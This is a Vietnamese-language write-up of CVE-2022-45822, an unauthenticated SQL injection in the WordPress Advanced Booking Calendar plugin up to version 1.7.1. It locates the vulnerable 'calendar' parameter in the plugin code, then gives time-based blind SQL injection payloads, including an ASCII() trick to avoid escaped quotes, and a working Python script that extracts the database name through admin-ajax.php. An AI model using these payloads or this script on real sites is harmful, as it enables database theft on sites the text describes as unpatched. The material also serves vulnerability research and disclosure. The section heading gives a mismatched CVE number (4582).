Unauth. SQL Injection vulnerability in Advanced Booking Calendar plugin ≤1.7.1 on Wordpress
1. Giới thiệu về CVE-2022-4582
WordPress là một hệ thống mã nguồn mở dùng để xuất bản blog/website được viết bằng ngôn ngữ lập trình PHP và cơ sở dữ liệu MySQL. WordPress được biết đến như một CMS miễn phí nhưng tốt, dễ sử dụng và phổ biến nhất trên thế giới.
CVE-2022-45822 được minhtuanact đã phát hiện và được Patchstack tiết lộ vào ngày 06/12/2022. Theo báo cáo, đây là một lỗ hổng SQL injection và được tìm ra trong plugin Advanced Booking Calendar của Wordpress. Điều này có thể cho phép tác nhân độc hại tương tác trực tiếp với cơ sở dữ liệu database để thực hiện việc đánh cắp thông tin và tạo tài khoản quản trị viên mới.
Lỗ hổng này vẫn chưa được public PoC cũng như chưa được khắc phục.
2. Phạm vi ảnh hưởng
- Plugin Advanced Booking Calendar <= 1.7.1 trên WordPress.
3. Đánh giá mức độ nghiêm trọng
CVE-2022-45822 được đánh giá mức độ nghiêm trọng là : CRITICAL với số điểm như sau:
NIST: NVD Base Score: 9.8 - CRITICAL Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNA: Patchstack Base Score: 10.0 - CRITICAL Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
4. Dựng môi trường
Plugin Advanced Booking Calendar là một plugin của WordPress cho phép chủ sở hữu trang web thêm lịch đặt chỗ vào trang web của họ. Plugin này có thể được sử dụng cho nhiều ứng dụng khác nhau, chẳng hạn như đặt lịch hẹn, lên lịch sự kiện hoặc đặt chỗ. Plugin này cung cấp nhiều tính năng để quản lý lịch đặt chỗ, bao gồm hiển thị trạng thái đặt chỗ, đặt giới hạn số lượng đặt chỗ, xác nhận đặt chỗ tự động và nhiều tính năng khác.
Ở đây chúng ta sẽ cài đặt Plugin Advanced Booking Calendar 1.7.1 để tiến hành tìm kiếm lỗ hổng.
Môi trường cụ thể:
Wordpress (version 5.7)
PHP (version 7.3.33)
Plugin Advanced Booking Calendar (version 1.7.1)
5. Phân tích và khai thác lỗ hổng
Theo thông tin tìm hiểu, Patchstack chỉ công bố lỗ hổng nằm ở Plugin Advanced Booking Calendar chứ không chỉ rõ endpoint bị dính SQL injection. Vì vậy việc của chúng ta trước tiên là tìm kiếm endpoint này.
Sử dụng Semgrep
tiến hành scan source code của plugin này.
Chúng ta sẽ tập trung vào những endpoints bị positive với SQL Injection.
Verify 1 lượt, có thể thấy các input từ người dùng đều được truyền vào function inval()
.
Hàm intval()
được sử dụng để chuyển đổi một giá trị sang kiểu số nguyên (integer). Hàm này nhận vào một tham số đầu vào là giá trị cần chuyển đổi, có thể là một chuỗi ký tự hoặc một biến có giá trị bất kỳ.
Do vậy, khi user truyền các ký tự chuỗi string SQL như 1' or 1=1-- -
sẽ được chuẩn hóa chuyển về thành số nguyên -> không thể dẫn tới SQL Injection.
Tuy nhiên, có một endpoint khác biệt ở đây:
Vị trí source
Vị trí của Sink có khả năng gây lỗi
function ajax_abc_booking_setDataRange() {
...
$start = strtotime(sanitize_text_field($_POST['start']));
$end = strtotime(sanitize_text_field($_POST['end']));
$calendarId = sanitize_text_field($_POST['calendar']);
$dateformat = getAbcSetting('dateformat');
$currency = getAbcSetting('currency');
...
$er = $wpdb->get_row('SELECT * FROM '.$wpdb->prefix.'abc_calendars WHERE id = '.$calendarId, ARRAY_A);
...
}
User có thể kiểm soát được biến $calendarID
được truyền từ param $_POST['calendar']
, tuy nhiên nó đã được validate đầu vào sử dụng hàm: sanitize_text_field
.
API có khả năng gây lỗi
Thử simple blind-SQLi payload:1 and 1 = (SELECT IF(1=1,SLEEP(5),1))
thì response delay 5s.
Kết luận tại parameter calendar
bị dính SQL injection.
Khi sử dụng payload 1 and (SELECT IF((SELECT STRCMP("SQL", "SQL"))=0,SLEEP(3),false))
thì dường như "
đã bị escape thành \"
Do đó câu truy vấn đã bị lỗi khiến không thể inject payload kèm ký tự '
và "
-> tìm cách chèn payload không chứa ký tự đặc biệt (", '
)
Bằng việc sử dụng hàm ASCII()
để so sánh giá trị số với nhau đã giải quyết được vấn đề escape ký tự đặc biệt (", '
). Payload được sửa thành: 1 and (SELECT IF(ASCII(substring(DATABASE(),1,1))=119,SLEEP(5),false))
Payload ở trên đã được chèn vào thành công và thực thi khiến database sleep 5s.
6. Exploit script
Dựa vào payload trên, tiến hành viết exploit script thực hiện dump Database name.
import requests
target = "http://localhost:80/wordpress/wordpress/wp-admin/admin-ajax.php"
header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "http://localhost", "Connection": "close",
"Referer": "http://localhost/wordpress/wordpress/double/"}
def findLengthDBName():
i = 1
while (True):
payload = {"action": "abc_booking_setDataRange", "abc_nonce": "0a2358a708", "start": "2023-03-15",
"end": "2023-03-23", "uniqid": "640addd53cbb2", "calendar": "1 and (SELECT IF(length(DATABASE())={},SLEEP(3),false))".format(i)}
rq = requests.post(target, headers=header, data=payload)
print(rq.elapsed.total_seconds())
if (rq.elapsed.total_seconds() >= 3):
return i
i += 1
def findDBName():
length = findLengthDBName()
dbName = ''
for i in range(1, length+1):
for j in range(33, 126):
payload = {"action": "abc_booking_setDataRange", "abc_nonce": "0a2358a708", "start": "2023-03-15",
"end": "2023-03-23", "uniqid": "640addd53cbb2", "calendar": "1 and (SELECT IF(ASCII(substring(DATABASE(),{},1))={},SLEEP(3),false))".format(i, j)}
rq = requests.post(target, headers=header, data=payload)
if (rq.elapsed.total_seconds() >= 3):
dbName += chr(j)
print(dbName)
break
return dbName
print(findDBName())
Kết quả: